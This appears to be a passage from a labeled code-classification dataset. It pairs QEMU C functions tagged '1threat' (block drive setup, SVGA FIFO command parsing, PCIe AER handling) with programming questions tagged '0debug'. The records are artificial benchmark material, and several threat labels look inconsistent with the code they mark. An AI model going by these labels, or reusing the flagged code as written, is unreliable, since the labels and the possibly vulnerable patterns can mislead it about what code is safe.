cfg.buckets[THROTTLE_BPS_WRITE].max =
qemu_opt_get_number(opts, "throttling.bps-write-max", 0);
cfg.buckets[THROTTLE_OPS_TOTAL].max =
qemu_opt_get_number(opts, "throttling.iops-total-max", 0);
cfg.buckets[THROTTLE_OPS_READ].max =
qemu_opt_get_number(opts, "throttling.iops-read-max", 0);
cfg.buckets[THROTTLE_OPS_WRITE].max =
qemu_opt_get_number(opts, "throttling.iops-write-max", 0);
cfg.op_size = qemu_opt_get_number(opts, "throttling.iops-size", 0);
if (!check_throttle_config(&cfg, &error)) {
error_propagate(errp, error);
goto early_err;
}
on_write_error = BLOCKDEV_ON_ERROR_ENOSPC;
if ((buf = qemu_opt_get(opts, "werror")) != NULL) {
if (type != IF_IDE && type != IF_SCSI && type != IF_VIRTIO && type != IF_NONE) {
error_setg(errp, "werror is not supported by this bus type");
goto early_err;
}
on_write_error = parse_block_error_action(buf, 0, &error);
if (error_is_set(&error)) {
error_propagate(errp, error);
goto early_err;
}
}
on_read_error = BLOCKDEV_ON_ERROR_REPORT;
if ((buf = qemu_opt_get(opts, "rerror")) != NULL) {
if (type != IF_IDE && type != IF_VIRTIO && type != IF_SCSI && type != IF_NONE) {
error_report("rerror is not supported by this bus type");
goto early_err;
}
on_read_error = parse_block_error_action(buf, 1, &error);
if (error_is_set(&error)) {
error_propagate(errp, error);
goto early_err;
}
}
dinfo = g_malloc0(sizeof(*dinfo));
dinfo->id = g_strdup(qemu_opts_id(opts));
dinfo->bdrv = bdrv_new(dinfo->id);
dinfo->bdrv->open_flags = snapshot ? BDRV_O_SNAPSHOT : 0;
dinfo->bdrv->read_only = ro;
dinfo->type = type;
dinfo->refcount = 1;
if (serial != NULL) {
dinfo->serial = g_strdup(serial);
}
QTAILQ_INSERT_TAIL(&drives, dinfo, next);
bdrv_set_on_error(dinfo->bdrv, on_read_error, on_write_error);
if (throttle_enabled(&cfg)) {
bdrv_io_limits_enable(dinfo->bdrv);
bdrv_set_io_limits(dinfo->bdrv, &cfg);
}
if (!file || !*file) {
if (has_driver_specific_opts) {
file = NULL;
} else {
QDECREF(bs_opts);
qemu_opts_del(opts);
return dinfo;
}
}
if (snapshot) {
bdrv_flags &= ~BDRV_O_CACHE_MASK;
bdrv_flags |= (BDRV_O_SNAPSHOT|BDRV_O_CACHE_WB|BDRV_O_NO_FLUSH);
}
if (copy_on_read) {
bdrv_flags |= BDRV_O_COPY_ON_READ;
}
if (runstate_check(RUN_STATE_INMIGRATE)) {
bdrv_flags |= BDRV_O_INCOMING;
}
bdrv_flags |= ro ? 0 : BDRV_O_RDWR;
QINCREF(bs_opts);
ret = bdrv_open(dinfo->bdrv, file, bs_opts, bdrv_flags, drv, &error);
if (ret < 0) {
error_setg(errp, "could not open disk image %s: %s",
file ?: dinfo->id, error_get_pretty(error));
error_free(error);
goto err;
}
if (bdrv_key_required(dinfo->bdrv))
autostart = 0;
QDECREF(bs_opts);
qemu_opts_del(opts);
return dinfo;
err:
bdrv_unref(dinfo->bdrv);
g_free(dinfo->id);
QTAILQ_REMOVE(&drives, dinfo, next);
g_free(dinfo);
early_err:
QDECREF(bs_opts);
qemu_opts_del(opts);
return NULL;
}
| 1threat
|
void bdrv_set_in_use(BlockDriverState *bs, int in_use)
{
assert(bs->in_use != in_use);
bs->in_use = in_use;
}
| 1threat
|
While solving some problems of time complexity, got stuck in the following code fragment : <p>What will be the time complexity of the following code? </p>
<pre><code> for(i=0;i<=n;i++)
for(j=0;j<=log i;j++)
print("hello world");
</code></pre>
| 0debug
|
Unable to update JToken value : <p>I'm trying to update the value of JToken but its reference is not getting updated. </p>
<p>JSON string:</p>
<pre><code> {
"Title": "master",
"Presentation": [
{
"Component": {
"Content": {
"Title": "Set New Title",
}
}
}
]
}
</code></pre>
<p>and the usage is given below</p>
<pre><code>JObject jo = JObject.Parse(File.ReadAllText(file.json));
foreach (var token in jo.SelectTokens("$..Component.Content").Children())
{
JProperty prop = token.ToObject<JProperty>();
prop.Value = "New Title";
}
string jsonText = JsonConvert.SerializeObject(jo, Formatting.Indented);
</code></pre>
<p>In this example, I'm trying to update the value of Title property. It is getting updated within foreach, means local variable is getting updated but changes are not reflecting in main jobject.</p>
<p>Can anyone help me if i'm doing anything wrong?</p>
| 0debug
|
how to handle api call on rotation change in android? : Please help with these problems
1)In my app i have both portrait and landscape screens. I know how to handle data using view model or saved instance state. I have 7 api calls on one activity but when i rotate screen api call stops in between so is there any trick to rotate screen after last api call success so i have all data stored in view model or something helpfull.
2)Example- if its login screen user enters id password and clicks login button on screen rotation api call stops and user halts on same screen.
| 0debug
|
How to send data over server in format of json array using post method : How to send data over server in format of json array using post method
{
"user_id":"1",
"username":"shubham",
"order":[{"product_id":"2","qty":"5","price":"100","total":"500","product_name":"choclate"},{"product_id":"1","qty":"2","price":"50","total":"500","product_name":"choclate"}]
}
| 0debug
|
static __attribute__((unused)) void map_exec(void *addr, long size)
{
unsigned long start, end, page_size;
page_size = getpagesize();
start = (unsigned long)addr;
start &= ~(page_size - 1);
end = (unsigned long)addr + size;
end += page_size - 1;
end &= ~(page_size - 1);
mprotect((void *)start, end - start,
PROT_READ | PROT_WRITE | PROT_EXEC);
}
| 1threat
|
getting error at the statement sqlccon.open "ystem.Data.SqlClient.SqlException' occurred in System.Data.dll but was not handled in user code" :
public partial class Webpages_Default : System.Web.UI.Page
{
SqlConnection sqlCon = new SqlConnection(ConfigurationManager.ConnectionStrings["conStr"].ConnectionString);
> Blockquote
protected void Page_Load(object sender, EventArgs e)
{
lblnorecordfound.Visible = false;
gvRCATracker.Visible = false;
if (!IsPostBack) {
//Binding control
sqlCon.Open();
BindPriority();
BindProductCategory();
BindPortfolio();
BindRCAResponseTeam();
BindTSMReview();
BindRCAStatus();
sqlCon.Close();
SetReadOnlyForDateControls();
}
| 0debug
|
C++ virtual destructor definitions : <p>I have three classes</p>
<pre><code>class A {
// pure virtual funcs and member vars
virtual ~A();
}
class B : public A {
// some more pure virtual funcs
virtual ~B();
}
class C : public B {
// concrete implementations
~C() {}
}
</code></pre>
<p>Presently this doesn't compile with an 'undefined reference to `typeinfo' error (~B() is not defined, easily fixable) however I'm wondering if just defining 'virtual ~B {}' is the correct thing to do or whether ~C should be virtual and defined so calls to ~B are dispatched to ~C?</p>
| 0debug
|
static int gt64120_pci_init(PCIDevice *d)
{
pci_config_set_vendor_id(d->config, PCI_VENDOR_ID_MARVELL);
pci_config_set_device_id(d->config, PCI_DEVICE_ID_MARVELL_GT6412X);
pci_set_word(d->config + PCI_COMMAND, 0);
pci_set_word(d->config + PCI_STATUS,
PCI_STATUS_FAST_BACK | PCI_STATUS_DEVSEL_MEDIUM);
pci_set_byte(d->config + PCI_CLASS_REVISION, 0x10);
pci_config_set_prog_interface(d->config, 0);
pci_config_set_class(d->config, PCI_CLASS_BRIDGE_HOST);
pci_set_long(d->config + PCI_BASE_ADDRESS_0, 0x00000008);
pci_set_long(d->config + PCI_BASE_ADDRESS_1, 0x01000008);
pci_set_long(d->config + PCI_BASE_ADDRESS_2, 0x1c000000);
pci_set_long(d->config + PCI_BASE_ADDRESS_3, 0x1f000000);
pci_set_long(d->config + PCI_BASE_ADDRESS_4, 0x14000000);
pci_set_long(d->config + PCI_BASE_ADDRESS_5, 0x14000001);
pci_set_byte(d->config + 0x3d, 0x01);
return 0;
}
| 1threat
|
If with single and statement in c : <p>What is this code doing? </p>
<p>if( x & y)
do something </p>
<p>if( x || !y)
do something </p>
<p>I am familiar with all basic functions of if statements (<, >, ==, !=) </p>
| 0debug
|
static void vmsvga_fifo_run(struct vmsvga_state_s *s)
{
uint32_t cmd, colour;
int args, len;
int x, y, dx, dy, width, height;
struct vmsvga_cursor_definition_s cursor;
uint32_t cmd_start;
len = vmsvga_fifo_length(s);
while (len > 0) {
cmd_start = s->cmd->stop;
switch (cmd = vmsvga_fifo_read(s)) {
case SVGA_CMD_UPDATE:
case SVGA_CMD_UPDATE_VERBOSE:
len -= 5;
if (len < 0) {
goto rewind;
}
x = vmsvga_fifo_read(s);
y = vmsvga_fifo_read(s);
width = vmsvga_fifo_read(s);
height = vmsvga_fifo_read(s);
vmsvga_update_rect_delayed(s, x, y, width, height);
break;
case SVGA_CMD_RECT_FILL:
len -= 6;
if (len < 0) {
goto rewind;
}
colour = vmsvga_fifo_read(s);
x = vmsvga_fifo_read(s);
y = vmsvga_fifo_read(s);
width = vmsvga_fifo_read(s);
height = vmsvga_fifo_read(s);
#ifdef HW_FILL_ACCEL
vmsvga_fill_rect(s, colour, x, y, width, height);
break;
#else
args = 0;
goto badcmd;
#endif
case SVGA_CMD_RECT_COPY:
len -= 7;
if (len < 0) {
goto rewind;
}
x = vmsvga_fifo_read(s);
y = vmsvga_fifo_read(s);
dx = vmsvga_fifo_read(s);
dy = vmsvga_fifo_read(s);
width = vmsvga_fifo_read(s);
height = vmsvga_fifo_read(s);
#ifdef HW_RECT_ACCEL
if (vmsvga_copy_rect(s, x, y, dx, dy, width, height) == 0) {
break;
}
#endif
args = 0;
goto badcmd;
case SVGA_CMD_DEFINE_CURSOR:
len -= 8;
if (len < 0) {
goto rewind;
}
cursor.id = vmsvga_fifo_read(s);
cursor.hot_x = vmsvga_fifo_read(s);
cursor.hot_y = vmsvga_fifo_read(s);
cursor.width = x = vmsvga_fifo_read(s);
cursor.height = y = vmsvga_fifo_read(s);
vmsvga_fifo_read(s);
cursor.bpp = vmsvga_fifo_read(s);
args = SVGA_BITMAP_SIZE(x, y) + SVGA_PIXMAP_SIZE(x, y, cursor.bpp);
if (SVGA_BITMAP_SIZE(x, y) > sizeof cursor.mask ||
SVGA_PIXMAP_SIZE(x, y, cursor.bpp) > sizeof cursor.image) {
goto badcmd;
}
len -= args;
if (len < 0) {
goto rewind;
}
for (args = 0; args < SVGA_BITMAP_SIZE(x, y); args++) {
cursor.mask[args] = vmsvga_fifo_read_raw(s);
}
for (args = 0; args < SVGA_PIXMAP_SIZE(x, y, cursor.bpp); args++) {
cursor.image[args] = vmsvga_fifo_read_raw(s);
}
#ifdef HW_MOUSE_ACCEL
vmsvga_cursor_define(s, &cursor);
break;
#else
args = 0;
goto badcmd;
#endif
case SVGA_CMD_DEFINE_ALPHA_CURSOR:
len -= 6;
if (len < 0) {
goto rewind;
}
vmsvga_fifo_read(s);
vmsvga_fifo_read(s);
vmsvga_fifo_read(s);
x = vmsvga_fifo_read(s);
y = vmsvga_fifo_read(s);
args = x * y;
goto badcmd;
case SVGA_CMD_RECT_ROP_FILL:
args = 6;
goto badcmd;
case SVGA_CMD_RECT_ROP_COPY:
args = 7;
goto badcmd;
case SVGA_CMD_DRAW_GLYPH_CLIPPED:
len -= 4;
if (len < 0) {
goto rewind;
}
vmsvga_fifo_read(s);
vmsvga_fifo_read(s);
args = 7 + (vmsvga_fifo_read(s) >> 2);
goto badcmd;
case SVGA_CMD_SURFACE_ALPHA_BLEND:
args = 12;
goto badcmd;
case SVGA_CMD_SURFACE_FILL:
case SVGA_CMD_SURFACE_COPY:
case SVGA_CMD_FRONT_ROP_FILL:
case SVGA_CMD_FENCE:
case SVGA_CMD_INVALID_CMD:
break;
default:
args = 0;
badcmd:
len -= args;
if (len < 0) {
goto rewind;
}
while (args--) {
vmsvga_fifo_read(s);
}
printf("%s: Unknown command 0x%02x in SVGA command FIFO\n",
__func__, cmd);
break;
rewind:
s->cmd->stop = cmd_start;
break;
}
}
s->syncing = 0;
}
| 1threat
|
I Am Having Trouble Getting This Loop To Work Can Anyone Help Me? : <p><strong>can anyone understand why this wont reset if answered incorrectly?</strong></p>
<pre><code>def loop1:
(print) ("Please Enter Your Name.")
myName = input(:)
(print) ("Hello " +myName)
(print) ("Would You Kindly Confirm If the Hatch Is Open Or Closed O/C")
hacthStatus = input ()
if hacthStatus == ('C'):
loop1()
</code></pre>
| 0debug
|
Sending email protocols in c# : <p>What are the possible protocols for sending email in C# rather than SMTP?</p>
<p>POP3 and IMAP are for only receiving emails.
And how I can using pop3 in c#?</p>
| 0debug
|
static void tcg_out_st(TCGContext *s, TCGType type, TCGReg arg, TCGReg arg1,
intptr_t arg2)
{
uint8_t *old_code_ptr = s->code_ptr;
if (type == TCG_TYPE_I32) {
tcg_out_op_t(s, INDEX_op_st_i32);
tcg_out_r(s, arg);
tcg_out_r(s, arg1);
tcg_out32(s, arg2);
} else {
assert(type == TCG_TYPE_I64);
#if TCG_TARGET_REG_BITS == 64
tcg_out_op_t(s, INDEX_op_st_i64);
tcg_out_r(s, arg);
tcg_out_r(s, arg1);
tcg_out32(s, arg2);
#else
TODO();
#endif
}
old_code_ptr[1] = s->code_ptr - old_code_ptr;
}
| 1threat
|
static void hmp_logfile(Monitor *mon, const QDict *qdict)
{
qemu_set_log_filename(qdict_get_str(qdict, "filename"));
}
| 1threat
|
What jquery / javascript files to define $? : I want to make a simple sliding Div over another div.
This Fiddle (http://jsfiddle.net/cf7u73pn/1/) is exactly what i want to make, but since i'm a noob in this world of coding, i get the warning 'Uncaught ReferenceError: $ is not defined' after copying the codes to my own files.
<div class="hidden" id="slide">INFORMATION ABOUT IMAGE APPEARS ON CLICK</div>
<div class="image"><br>THERE'S A NICE IMAGE HERE</div>
$(document).ready(function() {$('#slide').click(function() {
var hidden = $('.hidden');
if (hidden.hasClass('visible')) {
hidden.animate({"top": "160px"}, "slow").removeClass('visible');
}
else {
hidden.animate({"top": "0px"}, "slow").addClass('visible');
}
});
});
I now understand that i have to link a/several (?) file(s) in my HTML head to define my $. Can someone please help me find the right files and tell me how to link these into my html?
Thank you very much!
| 0debug
|
Strike through plain text with unicode characters? :
<p>Is it possible to strike through <strike>unwanted</strike> revised words in your code comments? Since developers still code in <strike>the dark ages</strike> a simpler time of plain text where text cannot be formatted using hidden identifiers, the only way to accomplish this is with Unicode Characters.</p>
<p>Since some unicode characters can extend be̜̤͉̘̝̙͂̓ͫ̽̊̀y̐ͨͧͩ̚o̥̗̞̬̯͚͂n͔͖̤̜̖̪͒̈́ͅd̯̮ͭ their designated boundaries, I thought it might be possible to find a Unicode Character that creates the strike through effect.</p>
<p>Unfortunately dash characters — occupy a significant amount of horizontal space. Is there an alternative character that I can use to create the <strike>strike-through</strike> effect across my text?</p>
| 0debug
|
I'm going to develop a simple account handling mobile app using React Native, for that what database should i use? : <p>I'm going to develop a RN app for account management with few tables, not complex. What database should i use for that SQLite / Firebase / any other? I mean it's a simple app and I don't have any prior deployment knowledge. </p>
<p>I have only worked with Firebase. DO we need servers to deploy DB?</p>
| 0debug
|
.eslintignore is ignored by create-react-app? : <p>I've placed a <code>.eslintignore</code> file in the root of my create-react-app installation, so I can ignore warnings from vendor libs.</p>
<p>It works fine if I run eslint from the commandline:</p>
<pre><code>./node_modules/.bin/eslint src/js/vendor/jquery.js
...warnings ignored...
</code></pre>
<p>However running <code>npm start</code> and <code>npm run build</code> seem to ignore the ignore file.</p>
<p>How can I achieve what I want to do here - without editing individual vendor files to add eslint options?</p>
| 0debug
|
i am new to android studio.I got error while building in android studio : [enter image description here][1]
[1]: http://i.stack.imgur.com/aC1ns.jpg
after deleting menu1.xml file i am getting this error.
why android studio is still mentioning error even afer deleting the file which was unused?
| 0debug
|
Problems with babel loader in react-create-app : <h1>The Problem</h1>
<p><code>create-react-app</code> initializes a repository where babel-loader is installed as an older version than needed.</p>
<p>LOG:</p>
<pre><code>There might be a problem with the project dependency tree.
It is likely not a bug in Create React App,
but something you need to fix locally.
The react-scripts package provided by Create React App requires a dependency:
"babel-loader": "8.0.4"
Don't try to install it manually: your package manager does it automatically.
However, a different version of babel-loader was detected higher up in the tree:
C:\Users\user\node_modules\babel-loader (version: 8.0.2)
Manually installing incompatible versions is known to cause hard-to-debug issues.
If prefer to ignore this check, add SKIP_PREFLIGHT_CHECK=true to an .env file in your project.
That will permanently disable this message but you might encounter other issues.
To fix the dependency tree, try following the steps below in the exact order:
1. Delete package-lock.json (not package.json!) and/or yarn.lock in your project folder.
2. Delete node_modules in your project folder.
3. Remove "babel-loader" from dependencies and/or devDependencies in the package.json
file in your project folder.
4. Run npm install or yarn, depending on the package manager you use.
In most cases, this should be enough to fix
the problem.
If this has not helped, there are a few other things you can try:
5. If you used npm, install yarn (http://yarnpkg.com/) and repeat the above steps with it instead.
This may help because npm has known issues with package hoisting which may get resolved in future versions.
6. Check if C:\Users\User\node_modules\babel-loader is outside your project directory.
For example, you might have accidentally installed something in your home folder.
7. Try running npm ls babel-loader in your project folder.
This will tell you which other package
(apart from the expected react-scripts) installed babel-loader.
If nothing else helps, add SKIP_PREFLIGHT_CHECK=true to an .env file in your project.
That would permanently disable this preflight check in case you want to proceed anyway.
P.S. We know this message is long but please read the steps above :-) We hope you find them helpful!
npm ERR! code ELIFECYCLE
npm ERR! errno 1
npm ERR! reg@0.1.0 start: `react-scripts start`
npm ERR! Exit status 1
npm ERR!
npm ERR! Failed at the reg@0.1.0 start script.
npm ERR! This is probably not a problem with npm. There is likely additional logging output above.
npm ERR! A complete log of this run can be found in:
npm ERR! C:\Users\User\AppData\Roaming\npm-cache\_logs\2018-12-13T18_22_47_802Z-debug.log
</code></pre>
<h1>After what it happened</h1>
<p><code>$ npx create-react-app reg && cd reg && npm start</code></p>
<h1>What I've tried</h1>
<p>I tried to remove <code>node_modules</code> folder and <code>package-lock.json</code>, then run <code>npm install</code>.</p>
<p>Also installed yarn and ran <code>yarn && yarn start</code>.</p>
<p>I've recreated the app 3 times and got the same result.</p>
<h1>Info that may be helpful</h1>
<p>Node version: <strong>10.8.0</strong> <br/>
NPM Version: <strong>6.5.0</strong> <br/>
create-react-app / react-scripts: <strong>2.1.1</strong> <br/>
babel-loader: <strong>8.0.4</strong> <br/>
Global packages list (<code>npm ls --depth=0 -g</code>):</p>
<pre><code>+-- create-react-app@2.1.1
+-- node-gyp@3.6.2
+-- npm@6.5.0
+-- yarn@1.12.3
</code></pre>
<p>package.json file:</p>
<pre><code>{
"name": "reg",
"version": "0.1.0",
"private": true,
"dependencies": {
"react": "^16.6.3",
"react-dom": "^16.6.3",
"react-scripts": "2.1.1"
},
"scripts": {
"start": "react-scripts start",
"build": "react-scripts build",
"test": "react-scripts test",
"eject": "react-scripts eject"
},
"eslintConfig": {
"extends": "react-app"
},
"browserslist": [
">0.2%",
"not dead",
"not ie <= 11",
"not op_mini all"
]
}
</code></pre>
| 0debug
|
Calling a method that returns a random number from inside a loop : <p>I have a 'for' loop that calls a method that returns a random number between 1 and 10. The loop then writes this number to the console. When I run the code normally it always returns the same number. However, when I step through the code with the debug tool everything seems to be working correctly; the method returns a different random number each loop cycle. What is going on?</p>
<pre><code> for(int i = 0; i < 5; i++)
{
int r = RandomNumber();
Console.WriteLine(r);
}
static int RandomNumber()
{
Random rand = new Random();
int x = rand.Next(1, 11);
return x;
}
</code></pre>
| 0debug
|
Merging tables in sql : I have two table in SQL SERVER that i want to merge. The two table have a counter column as primery key. The merge have to consider this counter while merging.
Thanks in advance.
| 0debug
|
syntax issue with a simple python script : <p>Please suggest what mistake is being made...</p>
<pre><code> #!/usr/bin/python
import datetime
get = datetime.datetime.now()
name = input("Your Name:\n")
age = int(input("Your Age:\n")
#numcopy = int(input("Number of result messages:\n"))
numcopy = int(input("Number of result messages:\n"))
currYear = get.year
century = ((100-age)+currYear)
print (numcopy * ("""Hello %r. Your current age is %r and you will turn 100 in year %r\n""" %(name,age,century)))
</code></pre>
<p>i keep getting the below error, what mistake am I making? </p>
<pre><code> File "py1", line 8
numcopy = int(input("Number of result messages:\n"))
^
SyntaxError: invalid syntax
</code></pre>
| 0debug
|
static av_always_inline int normal_limit(uint8_t *p, ptrdiff_t stride, int E, int I)
{
LOAD_PIXELS
return simple_limit(p, stride, E)
&& FFABS(p3-p2) <= I && FFABS(p2-p1) <= I && FFABS(p1-p0) <= I
&& FFABS(q3-q2) <= I && FFABS(q2-q1) <= I && FFABS(q1-q0) <= I;
}
| 1threat
|
How to set CGBITMAP_CONTEXT_LOG_ERRORS environmental variable? : <p>While using <code>CGBitmapContextCreate</code> I get error in XCode</p>
<blockquote>
<p>CGBitmapContextCreate: unsupported parameter combination: set
CGBITMAP_CONTEXT_LOG_ERRORS environmental variable to see the details</p>
</blockquote>
<p>How can I set this var? </p>
<p>I tried
<code>launchctl setenv CGBITMAP_CONTEXT_LOG_ERRORS /Users/user/Documents/cgbitmap_errors.log</code> and <code>launchctl setenv CGBITMAP_CONTEXT_LOG_ERRORS 1</code> and restarting XCode with no success. </p>
<p>I also tried combination with <code>defaults write com.apple.dt.Xcode UseSanitizedBuildSystemEnvironment -bool NO</code>, no success too</p>
<p>I restarted computer too</p>
| 0debug
|
Intellij: SBT-based Scala project does not build with Java 9 : <p>I've tried to switch my Scala/sbt based project to Java 9.
If I compile the project with sbt, it works.</p>
<p>If I try to build the project with the Build option of IntelliJ, I get immediately the error </p>
<pre><code>Error:Module 'xyz' production: java.lang.NoClassDefFoundError: javax/xml/bind/DatatypeConverter
</code></pre>
<p>I've tried to add the module as dependency</p>
<pre><code>libraryDependencies += "javax.xml.bind" % "jaxb-api" % "2.3.0"
</code></pre>
<p>and added in the compiler settings of IntelliJ (javac as well the scala compiler)</p>
<pre><code> <option name="ADDITIONAL_OPTIONS_STRING" value="--add-modules java.xml.bind" />
</code></pre>
<p>but does not help, unfortunately.</p>
| 0debug
|
from collections import defaultdict
def max_aggregate(stdata):
temp = defaultdict(int)
for name, marks in stdata:
temp[name] += marks
return max(temp.items(), key=lambda x: x[1])
| 0debug
|
how to change the color of a text inside li and make it override? : hey i have a newbe question i have this code i am using framework7
<div class="list-block">
<ul>
<?php for($i =0; $i < 5; $i++){?>
<li>
<a href="<?php echo $_SESSION['$tablelink2'][$i]; ?>" target="_blank" title="<?php echo $_SESSION['$tabletitle2'][$i]; ?>" class="external item-content" >
<div id="div1" class="item-media" style="display:block" ><img src=<?php if($_SESSION['checkme'] == 'checked') {echo $_SESSION['$tableimg2'][$i];}else {echo '"about:blank"';} ?> onerror="this.style.display='none'" width="44" height ="44" ></div>
<div class="item-inner">
<div class="item-title-row">
<div class="item-title" ><?php echo $_SESSION['$tabletitle2'][$i]; ?></div>
</div>
<div class="item-subtitle"></div>
</div></a></li>
<?php }?>
</ul>
</div>
the color of the item-title is blue i want to make it red,bold and override any previous rule ? i cant get it done the css code included in the framework is too complicated for me thank you
| 0debug
|
bool postcopy_ram_supported_by_host(void)
{
error_report("%s: No OS support", __func__);
return false;
}
| 1threat
|
Medical term REST API : <p>i am developing a Medical dictionary mobile application with ionic and i need a rest api to fetch medical terms to display on the application.</p>
<p>kindly help me any resource</p>
| 0debug
|
check this recursive code c# webbrowser control. need help ASAP : i need to execute a method based on the visibility of the following html element.
<div id="loading" style="height: 201px; width: 793px; visibility: hidden;">
the method i used to check the visibility property works fine.
public bool isloading()
{
string v;
v= webBrowser1.Document.GetElementById("loading").Style;
if (v.Contains("visible")) { return true; }
if (v.Contains("hidden")) { return false; }
else
return false;
}
i m using it like this. the app freezes upon coming to this code. need help
public void battleloop()
{
if (!isloading())
{
universalclcikbutton();
}
else
{
battleloop();
}
}
i know it is calling a method within a method. anyone please give me alternatives ASAP!!!!!!!!!!!
| 0debug
|
Variable enters C function as nonzero, turns to zero inside by itself : <p>I'm debugging a piece of code and found that when I print out a variable prior to function execution it is nonzero. The same variable is then used as an input argument for a function, but when printing it out right at the beginning of that function it says it's zero. </p>
<p>Outside the function call it looks like this:</p>
<pre><code>printf("sigma_b_m: %f \n",sigma_b_m);
oprq_init(sigma_b_m, b_m, r_m, x, P);
</code></pre>
<p>Inside the function call I did the following:</p>
<pre><code>void oprq_init(const float sigma_b_m, const float b[3], const float r[3], float K[16], float P[256]) {`
printf("sigma_b_m: %f \n",sigma_b_m);
}
</code></pre>
<p>I removed the rest of the function for clarity but the printf line is really at the very start of the function.</p>
<p>The output is then:</p>
<blockquote>
<p>sigma_b_m: 0.001745<br>
sigma_b_m: 0.000000</p>
</blockquote>
<p>Any idea how it now registers as zero rather than the 0.001745 it told me it was prior to going into the function?</p>
| 0debug
|
Why does Angular show result from successfull http post request as "undefined" : <p>I'm developing a MEAN stack app on Windows10 environment, using Mongoose (v4.4.5) to connect to MongoDB. One of the http post requests in my code executes successfully and writes to MongoDB. But the response returned from the post request shows up as "undefined" on the angular side (in the browser console). This doesn't happen all the time though. There are times when the response actually shows exactly what was written to MongoDB (which is what I'd expect to see all the time). Code shown below:</p>
<p>Angular component code:</p>
<pre><code>import { Component, OnInit, ViewChildren, Renderer2 } from '@angular/core';
import { FormGroup, FormControl } from '@angular/forms';
import { Validators } from '@angular/forms';
import { contactUsInterface } from '../../models/contact-us';
import { HttpClient } from '@angular/common/http';
import { ContactUsService } from '../../services/contact-us.service';
import { ErrorMessageService } from '../../services/error-message.service';
import { Observable } from 'rxjs';
@Component({
selector: 'app-contact-us',
templateUrl: './contact-us.component.html',
styleUrls: ['./contact-us.component.css'],
})
export class ContactUsComponent implements OnInit {
contactUsForm = new FormGroup({
subject: new FormControl(''),
message: new FormControl('', Validators.required),
senderEmail: new FormControl('', [Validators.required, Validators.email]),
});
messageFromUser: contactUsInterface;
response: any;
successMessage = "Message successfully sent";
displayMessage = this.successMessage;
isVisible = "invisible"; //used for successMessage after on submitting form
submitted = false;
invalidControlArray = [];
@ViewChildren("formControl") varInputBoxes;
constructor(private renderer: Renderer2,
private contactUsService: ContactUsService,
private errorMessageService: ErrorMessageService) {}
ngOnInit() {}
onSubmit(){
this.submitted = true;
if(this.contactUsForm.valid){
this.messageFromUser = {
subject: this.contactUsForm.value['subject'],
message: this.contactUsForm.value['message'],
senderEmail: this.contactUsForm.value['senderEmail'],
};
this.saveMessage();
}
};
saveMessage(){
this.contactUsService.addMessage(this.messageFromUser)
.subscribe((data: contactUsInterface) => {this.response = {...data},
error => this.displayMessage = this.errorMessageService.convertErrorToMessage(error, this.successMessage)});
//This is where the problem occurs. "this.resopnse" below shows "undefined"
console.log('Response: ', this.response);
};
get message() { return this.contactUsForm.get('message'); }
get senderEmail() { return this.contactUsForm.get('senderEmail'); }
}
</code></pre>
<p>Angular service code which has the addMessage function called above by saveMessage():</p>
<pre><code>import { Injectable } from '@angular/core';
import { HttpClient, HttpHeaders, HttpErrorResponse, HttpResponse } from '@angular/common/http';
import { Observable, throwError } from 'rxjs';
import { catchError, map, tap, retry } from 'rxjs/operators';
import { contactUsInterface } from '../models/contact-us';
@Injectable({
providedIn: 'root'
})
export class ContactUsService {
private url = '/api/contactus';
private result: any;
message: string;
addMessage(messageFromUser: contactUsInterface): Observable<contactUsInterface> {
return this.http.post<contactUsInterface>(this.url, messageFromUser)
.pipe(retry(0));
};
constructor(private http: HttpClient) { }
};
</code></pre>
<p>Express code which listens to the http request:</p>
<pre><code>var express = require('express');
var router = express.Router();
var contactUsMessage = require('../models/contact_us_message');
router.route('/')
.get(function(req,res,next){
res.send(req)
})
.post(function(req,res,next){
contactUsMessage.create(
req.body, function(err,result){
if (err) {
next(err);
} else {
res.send(result);
}
}
)
})
module.exports = router;
</code></pre>
<p>I would have expected that when the express code writes to MongoDB (this part works) and returns "result", that result is what gets returned by addMessage (in the Angular service code) and is assigned to "response" in the Angular component. But that's not how it appears to work.</p>
| 0debug
|
Python: How do this, I have no clue : **Hey**
I am new to python and a part of this course says this...
"3. The following line of code will print the first character in each of the firstname and surname variables. Python starts counting at 0, so “Tom” would be T=0, o=1 and m=2.
print("Your initials are:",firstname[0],surname[0])"
The question I am taking is where you have to take three letters from the start of a variable using this method, I am stuck so far, can anyone correct me.
Many Thanks
>>> surname = input ()
Smith
>>> print (surname[0][1][2])
>>>
| 0debug
|
static bool pcie_aer_msg_root_port(PCIDevice *dev, const PCIEAERMsg *msg)
{
bool msg_sent;
uint16_t cmd;
uint8_t *aer_cap;
uint32_t root_cmd;
uint32_t root_status;
bool msi_trigger;
msg_sent = false;
cmd = pci_get_word(dev->config + PCI_COMMAND);
aer_cap = dev->config + dev->exp.aer_cap;
root_cmd = pci_get_long(aer_cap + PCI_ERR_ROOT_COMMAND);
root_status = pci_get_long(aer_cap + PCI_ERR_ROOT_STATUS);
msi_trigger = false;
if (cmd & PCI_COMMAND_SERR) {
}
switch (msg->severity) {
case PCI_ERR_ROOT_CMD_COR_EN:
if (root_status & PCI_ERR_ROOT_COR_RCV) {
root_status |= PCI_ERR_ROOT_MULTI_COR_RCV;
} else {
if (root_cmd & PCI_ERR_ROOT_CMD_COR_EN) {
msi_trigger = true;
}
pci_set_word(aer_cap + PCI_ERR_ROOT_COR_SRC, msg->source_id);
}
root_status |= PCI_ERR_ROOT_COR_RCV;
break;
case PCI_ERR_ROOT_CMD_NONFATAL_EN:
if (!(root_status & PCI_ERR_ROOT_NONFATAL_RCV) &&
root_cmd & PCI_ERR_ROOT_CMD_NONFATAL_EN) {
msi_trigger = true;
}
root_status |= PCI_ERR_ROOT_NONFATAL_RCV;
break;
case PCI_ERR_ROOT_CMD_FATAL_EN:
if (!(root_status & PCI_ERR_ROOT_FATAL_RCV) &&
root_cmd & PCI_ERR_ROOT_CMD_FATAL_EN) {
msi_trigger = true;
}
if (!(root_status & PCI_ERR_ROOT_UNCOR_RCV)) {
root_status |= PCI_ERR_ROOT_FIRST_FATAL;
}
root_status |= PCI_ERR_ROOT_FATAL_RCV;
break;
default:
abort();
break;
}
if (pcie_aer_msg_is_uncor(msg)) {
if (root_status & PCI_ERR_ROOT_UNCOR_RCV) {
root_status |= PCI_ERR_ROOT_MULTI_UNCOR_RCV;
} else {
pci_set_word(aer_cap + PCI_ERR_ROOT_SRC, msg->source_id);
}
root_status |= PCI_ERR_ROOT_UNCOR_RCV;
}
pci_set_long(aer_cap + PCI_ERR_ROOT_STATUS, root_status);
if (root_cmd & msg->severity) {
if (msix_enabled(dev)) {
